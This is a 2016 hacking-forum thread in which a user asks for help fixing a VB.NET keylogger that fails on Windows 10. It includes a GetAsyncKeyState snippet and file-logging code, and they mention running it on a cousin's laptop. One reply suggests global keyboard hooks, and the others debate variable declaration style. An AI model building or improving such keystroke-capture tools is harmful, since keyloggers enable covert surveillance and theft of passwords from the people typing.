Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

.NET 

Need help fixing simple vb.net keylogger and should record all keys in windows 10

Hi!
I need help in fixing my simple keylogger app. It should record all keystrokes and save them into a text file. The keylogger works well in my Win7 pc although some keys are duplicated but when I ran it on my Win10 laptop, some keys weren't recorder and there are missing characters after I tested it from A-Z and 0-9. It also can't detect shift and space bar. Same thing happened when I ran it on my cousin's win10 laptop.

I don't know if the version of windows has anything to with it but it just happened to work on my win7 and failed on 2 win10s.

Here's a sample of my code:
Dim hotkey1 As Boolean
hotkey1 = GetAsyncKeyState(Keys.A)
If hotkey1 = True Then
myChar.Text = "A"
End If

myChar is then appended to the text file.______________________________________
Dim file As System.IO.StreamWriter

Dim reportsFolder As String
reportsFolder = Path.Combine(Directory.GetCurrentDirectory())

file = My.Computer.FileSystem.OpenTextFileWriter(reportsFolder & "\test.txt", True)
file.Write(myChar.Text)
myChar.Text = ""
file.Close()_______________________________________

Yes this is brute force. I typed in codes for A-Z, 0-9, Shift, Space and Enter. I had another shorter code that I got from the net but the output looks like an enrcypted file and there are also missing characters there.

Can anyone help me build a better code for this program? Thanks a lot in advance! :D
My 2 cents (2 minutes programming. Not expected Uber code)

[Image: uatrLKf.gif]
GetAsyncState might be the cause of the missing keys, as said above, use Global Hooks.
Why do so many people do:
Code
Dim something As Type
something = value
instead of:
Code
Dim something As Type = value
(Aug 6, 2016 08:10 AM)Ninja Wrote:  Why do so many people do:
Code
Dim something As Type
something = value
instead of:
Code
Dim something As Type = value

Code
Dim something = value
For full profit.
(Aug 6, 2016 08:10 AM)Ninja Wrote:  Why do so many people do:
Code
Dim something As Type
something = value
instead of:
Code
Dim something As Type = value

Why do people do:
Code
Dim something As Type = value

instead of:
Code
SomethingsXYZ = New Type(value).DoWhateverHere


Possibly Related Threads...
Thread / Author Replies Views Last Post
[Shell] by Emre_Jan 12, 2021 11:16 PM 0 141 Jan 12, 2021 11:16 PM
Last Post: Emre_
[Python] by hunter24957Mar 17, 2017 10:46 AM 8 468 Mar 17, 2017 10:46 AM
Last Post: hunter24957
[.NET] by Clint Eastwood.Sep 7, 2016 08:06 AM 8 657 Sep 7, 2016 08:06 AM
Last Post: Dotexe